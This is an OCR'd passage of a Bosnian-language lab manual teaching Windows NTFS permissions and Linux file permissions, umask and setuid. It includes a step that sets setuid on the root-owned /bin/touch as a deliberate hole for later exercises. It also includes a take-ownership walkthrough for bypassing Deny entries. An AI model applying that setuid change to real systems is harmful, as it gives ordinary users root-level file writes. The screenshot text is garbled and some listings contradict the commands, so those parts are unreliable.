R studert (LAB1-20_PChstudert)

€| 1 | »

[ Add | [ Remove ]
Pemissions for student Allow Dery
Full cortrol ] </
Modify ] [
Read & execute || E
Read [
Write [} [} e

Leam about access control and permissions

oK) [ ) (]

Slika 4.8: Windows - Dodan korisnika sa podrazumijevanim pravom pristupa datoteci

Klikom na dugme ”OK” potvrduje se dodavanje korisnika sa navedenim pra-
vima. Prava koja su ovdje navedena su takozvana standardna NTFS prava. Ova
standardna prava su zapravo kombinacija nesto detaljnijih specijalnih prava.
Za detaljnije definisanje (ovih specijalnih) prava potrebno je kliknuti na dugme
” Advanced” u pocetenom prozoru (koji je sada otvoren). U novootvorenom pro-
zoru potrebno je kliknuti na dugme ”Change Permissions...”, a u narednom pro-
zoru na dugme ”Edit...” Nakon toga otvara se prozor u kom se definiSu specijalna
prava. U koloni Allow kliknuto je na redove Create Files/Write Data i Create Fol-
ders/Append Data, a u koloni Deny na red Write Attributes. Izgled ovih prozora
sa izabranim specijalnim pravima prikazan je na slici 4.9.
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TS_4_detaljno txt Properties = — - =l - Y
[ Gerera| Sectrty | Deats | Previous Versons | Advanced Security Settings for TS_4_detaljno bt =]
il - Permissions | Auditing | Owne
Object name:  C:\Users\Public\Documents\TS_4_detalino bt ] Advanced Security Settings for TS| | Permissian Enty for T5.4_detaljno ot =
Group or user niames To view detals of 3 pEiSSiy "o orriccions Object
82 SYSTEM o L
2 studeriad (Lab 120, FC\studeriad) ‘- ject mame sers\| | To view or edit detals for a permissio
1 = L N 5 tudent (Lab1-20_PClstudent) -m
2. student (Lab1-20_FC'student) P s o e ==
i ax1cn o - = Objectname:  CUsersPUBICOl ||
O i ] » Permission entries: :
- Alow student (Lab- Permissions: Allow Deny
To change pemissions, click Edi Edit Mow  Administrators Type  Mame Ful control g -
Alow studentad (Laby Allow student (Lab1-20_PClst{ Traverse folder / execute file [
Permissions for SYSTEM Alow Dery Alow SYSTEM Allow Administrators (Lab1-20 List folder / rezd data il
Ful cortrol Hlow INTERACTIVE Allow studentad (Lab1-20_PC Read attributes B
Wodify Loy SELE Allow SYSTEM Read extended attributes B (3
Read & execute Lo L e Alow  INTERACTIVE Create fies  write data " |]
Read Bow Create folders / append data s
Wite v, RATGH) Wirite attributes ]
Special pemissions \irite extended attributes =
Delete ] =}
For special pemissions or advanced settings, rrem— Include inhertabiz pemmis Edit... Read permissions &
click Advanced =
Rt o i Manaaing pemission entries| | [¥] Include inheritable permissions for Apply these permissions to objects and/or Clear Al
Leam about access control and permissions containers within this container only
Managing permission entries
Aoph] Managing permissions

T
Text Document 7= Ubytes Cancel

Slika 4.9: Windows - Definisanje specijalnih prava

Klikom na OK prozor se zatvara i vraca na prethodni. Klikom na OK u tom
prozoru pojavljuje se prozor sa porukom upozorenja na slici 4.10.

Windows Security E3

You are setting a deny permissions entry. Deny entries take precedence
over allow entries. This means that if a user is a member of two groups,
one that is allowed a permission and another that is denied the same
permission, the user is denied that permission.

Do you want to continue?

Slika 4.10: Windows - Upozorenje kod zabrane prava

Ovo upozorenje kaze da oduzimanje prava ima prioritet nad davanjem, Ako
su korisniku oduzete neka prava to ¢e se primjenjivati u svakom slucaju, neza-
visno od toga $to mu je pripadno$¢u nekoj grupi to pravo dato. Kliknuto je OK
i prihvaceno upozorenje.
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Klikom na OK u naredna dva prozora zavrseno je dodavanje prava korisniku
na novonapravljenu datoteku. Korisniku ”student” dodana su podrazumijevana
prava i na dvije TXT datoteke (Read-only i hidden, i Sifriranu) u dijeljenom di-
rektoriju, kao i na datoteku u ,,My Documents* direktoriju.

Nakon odjave i prijave kao ,,student“ pokuSan je pristup svakoj od datoteka
radi uvida u sadrzaj i njegove promjene. Uvid u prvu datoteku, sa atributima
samo za ¢itanje i sakrivena, bio je mogué (nakon $to je omogudéeno prikazivanje
skrivenih datoteka). ali nije bila moguéa promjena njenog sadrzaja, kao sto je to
bio slucaj i na pocetku vjezbe. Prava pristupa ovoj datoteci su i bila samo za
¢itanje, a datoteka pri tome ima podesen atribut samo za Citanje.

Pristup sadrzaju Sifrirane datoteke i dalje nije bio mogué. Nezavisno od prava
pristupa za Citanje datoteka je Sifrirana kljuéem drugog korisnika i njen sadrzaj
nije moguce vidjeti.

Promjena sadrzaja tre¢e datoteke, za koju su data specijalna prava Create Fi-
les/Write Data i Create Folders/Append Data, a oduzeto specijalno pravo Write
Attributes nije bila moguca. Oduzeto pravo pisanja atributa sprecavalo je pisa-
nje u datoteku. Kad to pravo vise nije bilo oduzeto, promjena sadrzaja datoteke
postala je moguca.

Ovim se zeljelo pokazati kako kombinacija specijalnih prava moze dovesti do
neplaniranih kona¢nih rezultata. Sli¢no i pripadnost korisnik razli¢itim grupama
moze dovesti do tesko predvidivih efektivnih prava. Iz tog razloga Windows nudi
mogucénost provjere efektivnih prava korisnika na neku datoteku. Provjera se moze
izvrsiti slicno kao i postavljanje specijalnih prava. Desnim klikom na datoteku,
izborom Properties, pa tab Security i dugme ” Advance”. U prozoru koji se otvori
postoji tab Effective Permissions. Potrebno je unijeti, izabrati kao prilikom doda-
vanja korisnika sa pravima, ime korisnika za kog se zZele provjeriti prava. Izgleda
ovog prozora sa prikazanim korisnikom dat je na slici 4.11.

4.1.5 Moguénost ograniCavanja prava pristupa datoteci za
Administratora

Pod prijavom kao student potrebno je napraviti datoteku u Public documents. Za
tu datoteku potrebno je privilegovanom korisniku ”studentad” oduzeti sva prava
na ovu datoteku. Odjaviti se i prijaviti kao privilegovani korisnik. Provjeriti da li
privilegovani korisnik ima ikakva prava za ovu datoteku, te moze li ih dobiti.



94 4 VJEZBA: Kontrola pristupa na operativnim sistemima

. Advanced Security Settings for T5_4_detaljno @

Permissions | Auditing | Owner| Effective Pemmissions

The following list displays the permissions that would be granted to the selected group or user, based solely on the
permissions granted directly through group membership.

Object name: CUsersPublic®Documentsh TS _4_detalino bt
Group or user name:
student Select...

Effective pemmissions:

O Full cortrol -
Traverse folder / execute file
List folder / read data

Read attributes

Read extended attributes
Create files / write data
Create folders / append data
O write attributes

[ Write extended attributes b

How are effective pemmissions determined?

[ ok [ canesl |

Slika 4.11: Windows - Efektivna prava pristupa

Rjesenje: Nakon pravljenja datoteke potrebno je odlaskom na Properties i
Security, kao i u prethodnim slu¢ajevima, klikom na dugme ”Edit” oti¢i na
uredivanje prava za datoteku. Sa liste korisnika u gornjem dijelu prozora potrebno
je izabrati grupu Administrators (u kojoj je i privilegovani korisnik ”studentad”).
U donjem dijelu prozora potrebno je kliknuti na Deny za sve kolone. Potrebno
je primijetiti da nije moguée kliknuti na Deny za red Special Permissions. Izgled
prozora prikazan je na slici 4.12.

Nakon klika na dugme ”OK?”, ponovo se javlja upozorenje da Deny ima prednost
kao na slici 4.10. Da bi se ”temeljito” ukinula prava grupi Administrators, kli-
kom na dugme ” Advanced”, pa ” Change Permissions...”, pa Edit..., na prozorima
koji su se pojavljivali, slicno kao na slici 4.9, dolazi se do prozora za upravljanje
specijalnim pravima. U tom prozoru se moze vidjeti da je Deny oznaceno za sva
prava. Izgled tog prozora prikazan je na slici 4.13.

Nakon potvrdivanje svih prozora, potrebno je odjaviti se sa prijave kao ”stu-
dent” i prijaviti se kao privilegovani korisnik (¢lan grupe ” Administrators”, kojoj
su oduzeta sva prava) ”studentad”. Sada je potrebno pokusati pristupiti datoteci
u Public documents koju je napravio korisnik ”student” i za koju je ukinuo sva
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. Permissions for No_admin.td @

Security

CObject name:  C:\Users“Public\Documents\No_admin bd

Group or user names:

52 SYSTEM

2 studert (Lab1-20_PChstudert)

82, BATCH

Q?.,Adminishators (Lab1-20_PC\Administrators)
82, INTERACTIVE

'??‘ SERVICE
Add. .. ] [ Remove ]
Pemissions for Administrators Allow Dery
Modiy [
Read & execute
Read E
Write
Special permissions =

Leam about access contral and permissions

[ ok || cancel |[ appy |

Slika 4.12: Windows - Ukidanje prava za grupu Administrators

prava za grupu ” Administrators”. Prilikom pokuSaja pristupa datoteci dobije se
upozorenje da pristup nije dozvoljen. Desnim klikom na datoteku izborom Pro-
perties i taba Security pojavljuje se prozor u kom se upozorava da je za pregled
prava na datoteku potrebno biti privilegovani korisnik. Za nastavak je potrebno
kliknuti na dugme ”Continue” ispred kog se nalazi znak koji ukazuje da je za
izvrSavanje njegove funkcionalnosti potrebno iskoristiti administratorska prava.
Izgled tog prozora prikazan je na slici 4.14.

Klikom na dugme pojavljuje se prozor sa objasnjenjem da je za pregled prava
pristupa datoteci potrebno preuzeti vlasnistvo (Take Ownership) nad datotekom.
Pravo preuzimanja vlasnistva je eksplicitno oduzeto grupi Administrators u pret-
hodnim koracima (slika 4.13). Ispostavlja se da to pravo nije moguée oduzeti
¢lanovima ove grupe na Windows OS. Za preuzimanj vlasnistva je potrebno iza-
brati korisnika koji ¢e poslati vlasnik datoteke. U konkretnom slu¢aju nudi se da
to bude grupa ” Administrators” ili korisnik ”studentad”. Izabran je ”studentad”
i kliknuto je na dugme ”OK”. Nakon toga se pojavljuje prozor sa upozorenjem
da je po preuzimanju vlasnistva nad datotekom neophodno zatvoriti i ponovo
otvoriti pregled osobina objekta (Properties) da bi se mogla mijenjati prava za



96 4 VJEZBA: Kontrola pristupa na operativnim sistemima

. Permission Entry for Mo_admin.tet @
Object
W=l Hlistrators (Lab1-20 PC\Administrators) Change...

Apply to: | This ohject only

Read permissions

Change permissions

Permissions: Allow Deny
List folder / read data [ .

Read attributes [l
Read extended attributes | I

Create filles [ write data &

Create folders / append data ]
Wirite attributes | A
Write extended atiributes 2 3

Delete ]

O

[

[l

Take ownership

Apply these permissions to objects and/or Clear Al

containers within this container only

Managing permissions

[ OK J’ Cancel ]

Slika 4.13: Windows - Ukidanje specijalnih prava za grupu Administrators

datoteku. Klikom na OK vraca se na prozor sa slike 4.14. Klikom na OK u tom
prozoru, prozor se zatvara i vraca se na Public Documents. Ponovo je potrebno
desnim klikom izabrati datoteku nad kojom je preuzeto vlasniStvo, te izabrati
Properties i Security tab. Sada je moguce klikom na dugme ”"Edit” mijenjati
prava za datoteku. Izborom grupe Administrators u gornjem dijelu prozora u do-
njem prozoru je moguée odznaciti Deny u svim redovima (za sva prava) te kikom
OK potvrditi promjenu. Moze se radi promjene putem dugmeta ” Advanced” otiéi
i na specijalna prava i provjeriti njihovo stanje za grupu Administrators. Tu se
moze uvjeriti da grupi Administrators nisu vise ukinuta nikakva prava. Nakon
ovoga mogu¢ je kompletan pristup datoteci za korisnika ”studentad”.

Ovim je pokazana kako Windows ACL samo ogranic¢eno djeluje na privilego-
vane korisnike. Njima se mogu uskratiti prava za datoteku, ali oni uvijek mogu
preuzeti vlasnistvo nad datotekom, i onda upravljati pravima.
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' Neo_admin.bd Properties @
General | Security | Details I Previous Versions

CObject name:  C:\Users“Public\Documents\No_admin bd

ér) To continue, you must be an administrative user with permission
to view this object’s security properties.

Do you wart to continua?

For special pemmissions or advanced settings,

click Advanced.

Leam about access control and permissions

oK || Caneel |

Slika 4.14: Windows - Pristup pravima privilegovanog korisnika datoteci za koju nema
prava

4.2 Linux OS
4.2.1 Uspostavljanje strukture datoteka i korisni¢ckog prostora
1. Prijaviti se kao administrator

2. Prebaciti se na korisnika root:
sudo su

3. Dodati dva korisnika userl i user2:
useradd userl -g users -p userl —m
useradd user2 -g users -p user2 -m
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Provjeriti podatke o korisnicima id komandom (obratiti paznju na uid i gid):
id userl

id user2

id

U konkretnom primjeru dobijeni su slijedeéi rezultati:

uid=1007 (userl) gid=100(users) groups=100(users)
uid=1008(user2) gid=100(users) groups=100(users)

uid=0(root) gid=0(root) groups=0(root)

Privilegovani korisnik na Unix-oidnim sistemima uvijek ima uid 0, nezavisno
od imena. Konvencija koje se velika veéina drzi i koja je podrazumijevana
prilikom instalacije je da je ime tog korisnika root. Ime u principu moze biti
i drugacije.

. Napraviti strukturu direktorija;

mkdir /test
mkdir /test/tmp

Prebaciti se na korisnika userl i nazad na root:
su userl

whoami

exit

whoami

Naredba su omogucava preuzimanje identiteta koji je naveden iza komande.
Komanda whoami omogucava provjeru identiteta koji je trenutno preuzet. Ko-
manda exit prekida preuzimanje identiteta ostvareno komandom su i vraca
se na prethodni identitet.

Ovdje je odgovor na prvi whoami bio userl, a na drugi root.

Napraviti novu datoteku kao root i promijeniti grupno i korisni¢ko vlasnistvo:
touch /home/user2/Datoteka

1ls -1 /home/user2/Datoteka (provjeriti vlasnika i grupu)

-rw-r--r-- 1 root root O Nov 5 10:54 /home/user2/Datoteka

Vlasnik i grupa su root:root jer je root korisnik napravio datoteku.

chgrp users /home/user2/Datoteka

chown user2:users /home/users/Datoteka

1s -1 /home/user2/Datoteka (provjeriti vlasnika i grupu)
-rw-r--r—-- 1 user2 users 0 Nov 5 10:54 /home/user2/Datoteka
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Vlasnik je sada user2, a grupa users jer su gornje komande napravile ovu
promjenu.

4.2.2 Razlika u pravima za datoteke i direktorije

1. Otkucati slijedeée komande i pogledati rezultat (Kakva su prava pristupa di-
rektorijima userl, user2 i test?)
cd /
1s -1t
total 108
drwxrwxrwt 4 root root 4096 Nov 5 10:39 tmp
drwxr-xr-x 3 root root 4096 Nov 5 08:49 test
drwxr-xr-x 24 root root 780 Nov 5 08:44 run
druxr-xr-x 141 root root 12288 Nov 5 08:20 etc
druxr-xr-x 11 root root 4096 Nov 5 08:20 home
drwxr-xr-x 6 root root 4096 Nov 5 08:18 media
drwxr-xr-x 14 root root 4080 Nov 5 08:17 dev
dr-xr-xr-x 13 root root O Nov 5 08:17 sys
dr-xr-xr-x 185 root root 0 Nov 5 08:17 proc
drwx------ 3 root root 4096 Aug 18 14:30 root
drwxr-xr-x 3 root root 4096 Aug 18 13:27 boot
drwxr-xr-x 2 root root 4096 Aug 18 13:25 bin
lrwxrwxrwx 1 root root 30 Aug 18 13:25 vmlinuz ->
boot/vmlinuz-3.13.0-62-generic
lrwxrwxrwx 1 root root 33 Aug 18 13:25 initrd.img ->
boot/initrd.img-3.13.0-62-generic
drwxr-xr-x 2 root root 12288 Aug 18 13:24 sbin
drwxr-xr-x 2 root root 4096 Aug 18 13:18 1ibx32
drwxr-xr-x 2 root root 4096 Aug 18 13:18 1ib32
drwxr-xr-x 2 root root 4096 Aug 18 13:18 1ib64
drwxr-xr-x 24 root root 4096 Aug 18 13:18 1lib
drwxr-xr-x 7 root root 4096 Mar 26 2015 opt
drwxr-xr-x 14 root root 4096 Dec 24 2014 var
lrwxrwxrwx 1 root root 30 Dec 23 2014 vmlinuz.old ->
boot/vmlinuz-3.13.0-43-generic
lrwxrwxrwx 1 root root 33 Dec 23 2014 initrd.img.old ->
boot/initrd.img-3.13.0-43-generic
drwxr-xr-x 14 root root 4096 Dec 17 2014 usr
drwxr-xr-x 4 root root 4096 Dec 4 2014 mnt
drwxrwxr-x 2 root root 4096 Nov 6 2014 cdrom
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drwx--—---- 2 root root 16384 Nov 6 2014 lost+found
drwxr-xr-x 2 root root 4096 Jul 22 2014 srv

Prava pristupa za direktoriji test su da vlasnik root, ima sva prava (Citanje,
pisanje, izvrsavanje) dok grupa i ostali imaju pravo ¢itanja i izvrSavanja.

1s -al /home

total 44

drwxr-xr-x 11 root root 4096 Nov 5 08:20

drwxr-xr-x 26 root root 4096 Nov 5 08:49

drwxr-xr-x 2 dugacki dugacki 4096 Aug 18 13:56 dugacki
drwxr-xr-x 2 laki laki 4096 Aug 19 09:38 laki
drwxr-xr-x 2 naivni naivni 4096 Aug 18 13:55 naivni
drwxr-xr-x 2 razumni razumni 4096 Aug 18 13:56 razumni
drwxr-xr-x 30 sasa sasa 4096 Nov 5 08:14 sasa
drwxr-xr-x 15 student student 4096 Nov 12 2014 student
drwxr-xr-x 15 studentad studentad 4096 Nov 5 08:20 studentad
drwxr-xr-x 2 userl users 4096 Nov 5 08:53 userl
drwxr-xr-x 2 user2 users 4096 Nov 5 10:54 user2

Prava pristupa za direktoriji userl su da vlasnik userl, ima sva prava (¢itanje,
pisanje, izvrsavanje) dok grupa i ostali imaju pravo ¢itanja i izvrSavanja. Je-
dina razlika za direktoriji user2 je $to je njegov vlasnik user2.

2. Prebaciti se na korisnika userl:
su userl
1s -al /home/user2 (Moze li se izlistati sadrzaj direktorija?)
total 32
drwxr-xr-x 2 user2 users 4096 Nov 5 10:54 .
drwxr-xr-x 11 root root 4096 Nov 5 08:20
-rw-r—-r—— 1 user2 users 220 Apr 9 2014 .bash_logout

-rw-r—-r—— 1 user2 users 3637 Apr 9 2014 .bashrc
-rw-r—-r—-— 1 user2 users 0 Nov 5 10:54 Datoteka
-rw-r——-r—— 1 user2 users 8980 0Okt 4 2013 examples.desktop
-rw-r—--r—— 1 user2 users 675 Apr 9 2014 .profile

Sa ovim, uobicajenim, pravima moguce je izlistati sadrzaj direktorija.

cd /home/user2 (Moze li se prebaciti u direktoriji?)
user1@Ubuntu-1404-VB: /home/user2$
Sa ovim, uobi¢ajenim, pravima moguce je prebaciti se u direktoriji.
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exit

. Promijeniti prava pristupa direktoriju user2 i pokusati ponovo kao userl.
chmod 740 /home/user?2

Prva cifra 7 predstavlja prava za vlasnika direktorija. Za svako pravo pos-
tavlja se binarno 1, pa je skup prava zapisan binarno 111, sedam decimalno.
Prvo pravo je ¢itanje, drugo pisanje, a trec¢e izvrSavanje.

Pravo ¢itanja za grupu se zapisuje sa 100 binarno §to je cetiri decimalno. To
je druga cifra u parametru komande chmod i odnosi se na prava grupe.
Treca cifra odnosi se na prava ostalih. Ovdje ostali nemaju nikakva prava sto
se binarno zapisuje sa 000 Sto je decimalno 0.

1s -1 /home

total 36

drwxr-xr-x 2 dugacki dugacki 4096 Aug 18 13:56 dugacki
drwxr-xr-x 2 laki laki 4096 Aug 19 09:38 laki
drwxr-xr-x 2 naivni naivni 4096 Aug 18 13:55 naivni
drwxr-xr-x 2 razumni razumni 4096 Aug 18 13:56 razumni
drwxr-xr-x 30 sasa sasa 4096 Nov 5 08:14 sasa
drwxr-xr-x 15 student student 4096 Nov 12 2014 student
drwxr-xr-x 15 studentad studentad 4096 Nov 5 08:20 studentad
drwxr-xr-x 2 userl users 4096 Nov 5 08:53 userl
drwxr—----- 2 user2 users 4096 Nov 5 10:54 user2

Sada su ostali izgubili sva prava na direktoriji user2, a grupa, odnosno ¢lanovi
ove grupe u koje spada i userl, je izgubila pravo izvrsavanja.

su userl

1s -al /home/user2 (Moze li se izlistati sadrzaj direktorija?)

1s: cannot access /home/user2/.bashrc: Permission denied

1s: cannot access /home/user2/..: Permission denied

1s: cannot access /home/user2/.: Permission denied

1ls: cannot access /home/user2/examples.desktop: Permission denied
1s: cannot access /home/user2/Datoteka: Permission denied

1ls: cannot access /home/user2/.profile: Permission denied

ls: cannot access /home/user2/.bash_logout: Permission denied

total O
d777?7??7???? ? ? 7?7 ? ?

d?777?7????? ? 7 7?7 7 7

=777 7 7 7 7 7 .bash_logout
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—P???7?7?°?°?7?

.bashrc
Datoteka

examples.desktop
=TTV [ [ .profile

NN N N
VAR VEREEN BRREN)
N N N N
SVAREEVEREEN BEREN)
N N N N

Bez prava izvrSavanja na direktoriju moguce je vidjeti koje datoteke postoje
u njemu, ali nije moguce vidjeti nikakve detalje o njima (veli¢inu, vlasnika,
prava, datum i vrijeme izmjene).

cd /home/user2 (Moze li se prebaciti u direktoriji?)
bash: cd: /home/user2: Permission denied
Bez prava izvrSavanja na direktoriju nije se mogucée prebaciti u njega.

exit

chmod 750 /home/user?2

Sada je grupa (users), odnosno ¢lanovi ove grupe u koje spada i userl, dobila
pravo izvrSavanja na direktoriju user2.

1s -1 /home

total 36

drwxr-xr-x 2 dugacki dugacki 4096 Aug 18 13:56 dugacki
drwxr-xr-x 2 laki laki 4096 Aug 19 09:38 laki

drwxr-xr-x 2 naivni naivni 4096 Aug 18 13:55 naivni
drwxr-xr-x 2 razumni razumni 4096 Aug 18 13:56 razumni
drwxr-xr-x 30 sasa sasa 4096 Nov 5 08:14 sasa

drwxr-xr-x 15 student student 4096 Nov 12 2014 student
drwxr-xr-x 15 studentad studentad 4096 Nov 5 08:20 studentad
drwxr-xr-x 2 userl users 4096 Nov 5 08:53 userl

drwxr-x--- 2 user2 users 4096 Nov 5 10:54 user2

su userl

1s -al /home/user2 (Moze li se izlistati sadrzaj direktorija?)

total 32

drwxr-xr-x 2 user2 users 4096 Nov 5 10:54 .

drwxr-xr-x 11 root root 4096 Nov 5 08:20

-rw-r--r—— 1 user2 users 220 Apr 9 2014 .bash_logout

-rw-r—-r——- 1 user2 users 3637 Apr 9 2014 .bashrc

-rw-r——-r—— 1 user2 users 0 Nov 5 10:54 Datoteka

-rw-r——r-— 1 user2 users 8980 0Okt 4 2013 examples.desktop
1

-rw-r—--r—— 1 user2 users 675 Apr 9 2014 .profile
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Sa pravom c¢itanja i izvrSsavanja moguce je izlistati sadrzaj direktorija. Ovdje
je userl ¢lan grupe users koja ima oba ova prava na direktoriju user2.

cd /home/user2 (Moze li se prebaciti u direktoriji?)
user1@Ubuntu-1404-VB: /home/user2$
Sa pravom ¢itanja i izvrSavanja moguce je prebaciti se u direktoriji.

touch /home/user2/Datoteka2.txt (MozZe li se napraviti nova datoteka?)
touch: cannot touch ‘/home/user2/Datoteka2.txt’: Permission denied
Bez prava pisanja na direktoriju u njemu nije moguce praviti nove datoteke.
Ovdje je userl ¢lan grupe users koja nema pravo pisanja na direktoriju user2.
exit

chmod 770 /home/user?2

Sada je grupa (users), odnono ¢clanovi ove grupe u koje spada i userl, dobila
i pravo pisanja u direktoriju user2.

1s -1 /home

total 36

drwxr-xr-x 2 dugacki dugacki 4096 Aug 18 13:56 dugacki
drwxr-xr-x 2 laki laki 4096 Aug 19 09:38 laki

drwxr-xr-x 2 naivni naivni 4096 Aug 18 13:55 naivni
drwxr-xr-x 2 razumni razumni 4096 Aug 18 13:56 razumni
drwxr-xr-x 30 sasa sasa 4096 Nov 5 08:14 sasa

drwxr-xr-x 15 student student 4096 Nov 12 2014 student
drwxr-xr-x 15 studentad studentad 4096 Nov 5 08:20 studentad
drwxr-xr-x 2 userl users 4096 Nov 5 08:53 userl

drwxrwx--— 2 user2 users 4096 Nov 5 10:54 user2

su userl

touch /home/user2/Datoteka2.txt (Moze li se napraviti nova datoteka?)
1s -1 /home/user?2

total 12

-rw-r--r—— 1 user2 users 0 Nov 5 10:54 Datoteka

-rw-r-—-r—— 1 userl users O Nov 10 08:21 Datoteka2.txt
-rw-r—-r-- 1 user2 users 8980 Okt 4 2013 examples.desktop

Sa pravom pisanja na direktoriju u njemu je moguce praviti nove datoteke.
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Ovdje je userl ¢lan grupe users koja ima pravo pisanja na direktoriju user2.
Vlasnik datoteke je onaj korisnik koji je napravio, odnosno userl.

4. Alternativna sintaksa za chmod komandu
Potrebno je promijeniti prava pristupa datoteci Datoteka2.txt tako da vlasnik
ima sva prava, grupa pravo Citanja i izvrSavanja, a ostali samo pravo Citanja:
cd /home/user2
chmod 754 Datoteka2.txt
Prva cifra 7 predstavlja prava za vlasnika datoteke. Za svako pravo postavlja
se binarno 1, pa je skup prava zapisan binarno 111, sedam decimalno. Prvo
pravo je ¢itanje, drugo pisanje, a tree izvrSavanje.
Pravo ¢itanja i izvrSavanja za grupu se zapisuje sa 101 binarno sto je pet de-
cimalno. To je druga cifra u parametru komande chmod i odnosi se na prava
grupe.
Treca cifra odnosi se na prava ostalih. PoSto ostali imaju samo pravo Citanja
to se binarno zapisuje sa 100 $to je decimalno 4.
1s -1 Datotekal.txt
-ruxr-xr-— 1 userl users 0 Nov 10 08:21 Datoteka2.txt

Alternativna sintaksa je da se u parametrima komande chmod navede kome
(u, g ili 0) se daju (4) ili oduzimaju (-) koja prava (r, w ili x).

chmod u-rwx Datoteka2.txt

chmod g-rx Datoteka2.txt

chmod o-r Datoteka2.txt

1s -1 Datoteka2.txt

—————————— 1 userl users 0 Nov 10 08:21 Datoteka2.txt

Postu su svakoj od grupa oduzeta prava koja su imala, sad nad datotekom
niko nema nikakva prava.

Vlasnik datoteke userl (kao i root) korisnik i dalje ima pravo promjene prava.
chmod u+rwx Datoteka2.txt

“rWX-———-- 1 userl users O Nov 10 08:21 Datoteka2.txt

Korisnik je dobio sva tri prava.

chmod g+rx Datoteka2.txt
-rwxr-x--— 1 userl users O Nov 10 08:21 Datoteka2.txt
Grupa je dobila prava Citanja i izvrSavanja.

chmod o+r Datoteka2.txt
-rwxr-xr-— 1 userl users O Nov 10 08:21 Datoteka2.txt
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Ostali su dobili pravo ¢itanja.

exit

4.2.3 Nove tekstualne datoteke i povezivanje

Unix podrzava dvije vrste linkova - hard link i symbolic link.

1. Koristeéi zeljeni program za uredivanje teksta u direktoriju /test/tmp po-
trebno je napraviti tekstualni dokument Tekst sa nekim sadrzajem.

Upotrebom gedit programa napravljena je datoteka sa nazivom Tekst u koju
je upisan slijedeci tekst ”Neki sadrzaj.”. Ta datoteka sacuvana je na navede-
noj lokaciji.

cat /test/tmp/Tekst

Neki sadrZaj.

2. Napraviti link link_Tekst u direktoriju test koji pokazuje na Tekst u tmp di-
rektoriju
cd /
1n -s /test/tmp/Tekst /test/link Tekst

3. Kakva je razlika u pravima pristupa izmedu link_Tekst i Tekst?
1s -1 /test/tmp/Tekst
-rw-r--r-- 1 root root 15 Nov 10 08:26 /test/tmp/Tekst

Prava pristup datoteci su onakva su postavljena kao zadana (umask o kom
¢e uskoro biti rijeci), ¢itanje i pisanje za vlasnika, a samo Citanje za grupu i
ostale.

1s -1 /test/link Tekst

lrwxrwxrwx 1 root root 15 Nov 10 08:27 /test/link _Tekst ->
/test/tmp/Tekst

Prava pristup simbolickom linku su potpuna. Svako ima sva prava. Ta prava
se odnose samo na preusmjeravanje na stvarnu datoteku. Nakon toga se pri-
mjenjuju prava pristupa datoteci na koju vodi preusmjeravanje (datoteka
Tekst)
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4. Sta se dobije kao izlaz komande?
cat /test/link Tekst
Neki sadrzaj.

Rezultat je isti kao da je komanda izvrSsena na datoteci Tekst, ispisuje se
sadrzaj datoteke na koju link pokazuje.

4.2.4 Podrazumjevana (default) prava pristupa datotekama

Unix ima komandu umask koja sluzi za podeSavanjem podrazumijevanih prava
pristupa. Neke standardne vrijednosti za umask su recimo 077 (samo vlasnik ima
prava), 022 (samo vlasnik moze pisati), 002 (samo vlasnik i ¢lanovi grupe mogu
pisati), itd.

1. Kao root korisnik potrebno je komandom umask provjeriti tekuée podesenje
i dodijeliti novu masku
umask
Koja je ternutno umask?
0022

cd /test

touch testmaskl

1s -1 testmaskl

Kakva su prava pristupa za testmask1?

-rw-r—-r—-— 1 root root 0 Nov 10 08:29 testmaskl

Kako je definisano sa umask (tacnije njenom inverzijom), korisnik dobiva
pravo ¢itanja i pisanja, a grupa i ostali pravo ¢itanja i pisanja.

Promijeniti umask:

umask 0077

Napraviti novu datoteku:

touch testmask2

Kakva su prava pristupa za testmask2?

1s -1 testmask2

“ry-————-- 1 root root O Nov 10 08:29 testmask2

Kako je definisano sa novom umask, korisnik dobiva sva tri prava, a grupa i
ostali nikakva prava.
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2. Kakav je efekat postavljanja maske na 00007 umask 0000
1ls -1 testmask3
-rw-rw-rw— 1 root root O Nov 10 08:30 testmask3

Sada i vlasnik i grupa i ostali dobijaju ista prava, ali samo Citanja i pisa-
nja.

4.2.5 setuid bit, setgid bit and sticky bit

Tri prva bita koji odreduju prva pristupa su setuid bit, setgid bit i sticky bit.
Ako je setuid bit jedan, onda ¢e uid prilikom izvrSavanja uvijek biti postavljen
na uid vlasnika datoteke. Ako setuid bit nije jedan (uobic¢ajeno podesenje), onda
¢e uid prilikom izvrsavanja uvijek biti postavljen na uid korisnika koji izvrSava
proces. Sli¢no, ako je setgid bit jedan, onda ¢e gid prilikom izvrSavanja uvijek
biti postavljen na gid grupe koja je vlasnika datoteke. Ako seguid bit nije jedan,
onda ¢e gid prilikom izvrSavanja uvijek biti postavljen na uid grupe koja izvrsava
proces. Sticky bit se koristi da zadrzi proces u memoriji.

Ovdje Ce biti pokazano podesavanje i efekat podesavanja setuid bita. Razumi-
jevanje ovog je bitno za narednu vjezbu, a i koristi se na Unix-oidnim sistemima.
Primjer je program passwd koji sluzi za promjenu lozinke. Ovaj program moze
pokrenuti svaki korisnik da bi promijenio svoju lozinku. Sa druge strane, lozinke
su upisane u datoteku shadow kojoj pravo pristupa ima samo root. Kad bi pro-
gram passwd dobio prava obi¢nih korisnika koji su ga pokrenuli ne bi mogao
provjeriti lozinku i upisati novu u shadow datoteku. Iz tog razloga ovaj program,
datoteka passwd, ima postavljen setuid na jedan. Njen vlasnik je root. Na taj
nacin kada je pokrene bilo koji korisnik mogué je pristup shadow datoteci radi
promjene lozinke.

Ocigledno je da ovo predstavlja potencijalnu opasnost, pa izvrSne datoteke
kojima je vlasnik root, a imaju postavljen setuid bit moraju biti napravljene da
imaju jednostavnu i lako provjerljivu funkcionalnost, te moraju biti bez gresaka.
Greske u programima dovode do sigurnosnih propusta koji u ovim sluc¢ajevima
mogu biti katastrofalni. To ¢ée biti tema slijedeéih vjezbi.

1. Kao root korisnik:
umask 0022 - vratiti umask na inicijalnu vrijednost (nije neophodno, ali da
ne zbunjuje)
which touch - provjera sa koje lokacije se poziva komanda
/usr/bin/touch
1s -1 /usr/bin/touch
lrwxrwxrwx 1 root root 10 Jan 14 2015 /usr/bin/touch ->
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/bin/touch
Ovo je simbolicki link, pa treba pogledati prava za datoteku na koju pokazuje.

1s -1 /bin/touch
-rwsr-xr-x 1 root root 60224 Jan 14 2015 /bin/touch

Sada treba postaviti seduid na 1.

chmod 4755 /bin/touch

Ovdje je dodana jo$ jedna cifra na parametar komande chmod. Cifra je deci-
malno 4, odnosno binarno 100. Prema tome je setuid=1, setgid=0 i sticky=0.

1s -1 /bin/touch

-rwsr-xr-x 1 root root 60224 Jan 14 2015 /bin/touch

Na mjestu definicije prava izvrSavanja za vlasnika pojavilo se slovo ”s” koje
